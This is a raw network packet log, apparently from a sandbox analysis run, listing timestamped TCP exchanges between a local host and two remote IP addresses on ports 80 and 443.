Dec 9, 2024 21:09:53.781871080 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.781958103 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.782941103 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.782958031 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.782973051 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.783047915 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.783088923 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.784007072 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.784045935 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.784292936 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.784333944 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.785029888 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.785069942 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.785401106 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.785440922 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.786180019 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.786221981 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.786314011 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.786353111 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.787416935 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.787465096 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.787611961 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.787645102 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.788398027 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.788477898 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.788523912 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.788625002 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.789438009 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.789480925 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.789818048 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.789863110 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.790604115 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.790615082 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.790646076 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.791573048 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.791620016 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.791887999 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.792052031 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.792634010 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.792706013 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.793651104 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.793725967 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.793737888 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.793777943 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.793814898 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.795000076 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.795072079 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.795115948 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.795850039 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.795902014 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.795923948 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.796171904 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.797048092 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.797135115 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.797183037 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.798046112 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.798177958 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.798187971 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.798214912 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.799047947 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.799098015 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.934438944 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.934499025 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.934632063 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.934770107 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.934957981 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.935024977 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.935069084 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.936117887 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.936161995 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.936342001 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.936393023 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.936413050 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.936428070 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.937565088 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.937602043 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.937697887 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.937731981 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.938483000 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.938525915 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.938827991 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.938889980 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.939629078 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.939670086 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.939944029 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.939980984 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.940687895 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.940727949 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.940882921 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.940918922 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.941822052 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.941858053 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.941915989 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.941952944 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.942948103 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.942995071 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.943160057 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.943200111 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.944034100 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.944076061 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.944186926 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.944221020 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.945024967 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.945064068 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.945256948 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.945307970 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.946171045 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.946214914 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.946419954 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.946459055 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.947195053 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.947233915 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.947488070 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.947532892 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.948280096 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.948698997 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.948749065 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.949433088 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.949565887 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.949584007 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.949604988 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.950449944 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.950495958 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.950763941 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.950802088 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.951519012 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.951559067 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.951589108 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.951623917 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.952636003 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.952676058 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.952794075 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.952826977 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.953639984 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.953672886 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.954118013 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.954153061 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.954750061 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.954783916 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.955044985 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.955102921 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.955929041 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.955941916 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.955967903 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.955981016 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.956877947 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.956923008 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.957025051 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.957164049 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.958125114 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.958172083 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.958405018 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.958441973 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.959103107 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.959188938 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.959336042 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.959372997 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.960149050 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.960186958 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.960520029 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.960563898 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.961316109 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.961360931 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.961487055 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.961532116 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.962593079 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.962605953 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.962636948 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.962649107 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.963515997 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.963562012 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.963994980 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.964044094 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.964620113 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.964659929 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.965205908 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.965250015 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.965598106 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.965635061 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.966111898 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.966150045 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.966691017 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.966727972 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.966777086 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.966819048 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.968015909 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.968063116 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.968086004 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.968251944 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.968892097 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.968936920 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.969331026 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.969528913 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.969914913 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.969954014 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.970078945 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.970118999 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.971013069 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.971054077 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.971431971 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.971481085 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.972206116 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.972248077 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.972316027 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.972352982 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.973217964 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.973254919 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.973309994 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.973390102 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.974284887 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.974334002 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.974492073 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.974529028 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.975310087 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.975361109 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.975375891 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.975392103 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.976540089 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.976582050 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.976768017 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.976814032 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.977510929 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.977708101 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.977993011 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.978035927 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.978569031 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.978619099 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.978895903 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.978945971 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.979648113 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.979715109 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.980494022 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.980601072 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.980743885 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.980756044 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.980794907 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.981792927 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.981852055 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.981967926 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.982006073 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.982952118 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.983036995 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.983161926 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.983200073 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.984134912 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.984183073 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.984237909 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.984272957 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.985058069 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.985097885 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.985254049 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.985291958 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.986227989 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.986278057 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.986763954 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.986800909 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.987355947 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.987395048 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.988291979 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.988303900 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.988329887 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.988344908 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.988620043 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.988658905 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.989423990 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.989468098 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.989593029 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.989629984 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.990454912 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.990504026 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.990736961 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.990775108 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:54.056349993 CET	49994	443	192.168.2.6	104.21.48.1
Dec 9, 2024 21:09:54.056401014 CET	443	49994	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:54.056514978 CET	49994	443	192.168.2.6	104.21.48.1
Dec 9, 2024 21:09:54.056830883 CET	49994	443	192.168.2.6	104.21.48.1
Dec 9, 2024 21:09:54.056845903 CET	443	49994	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:54.126990080 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:54.127089977 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:54.127152920 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:54.127383947 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:54.127435923 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:54.127629042 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:54.127665997 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:54.128529072 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:54.128916025 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:54.129163027 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:54.129534006 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:54.129579067 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:54.129765034 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:54.130394936 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:54.130578041 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:54.130590916 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:54.130616903 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:54.130635977 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:54.131674051 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:54.131716013 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:54.132186890 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:54.132261992 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:54.132843018 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:54.132894993 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:54.133202076 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:54.133246899 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:54.133857012 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:54.133897066 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:54.133932114 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:54.134088039 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:54.134922028 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:54.135004997 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:54.135056973 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:54.135962009 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:54.136013031 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:54.136092901 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:54.136136055 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:54.137042046 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:54.137192011 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:54.137239933 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:54.138132095 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:54.138189077 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:54.138370991 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:54.138426065 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:54.139215946 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:54.139317989 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:54.139816999 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:54.139857054 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:54.140314102 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:54.140358925 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:54.140521049 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:54.140955925 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:54.141596079 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:54.141633034 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:54.141638041 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:54.141669035 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:54.142457962 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:54.142498970 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:54.142767906 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:54.142832994 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:54.143532038 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:54.144063950 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:54.144366026 CET	80	49969	185.215.113.16	192.168.2.6
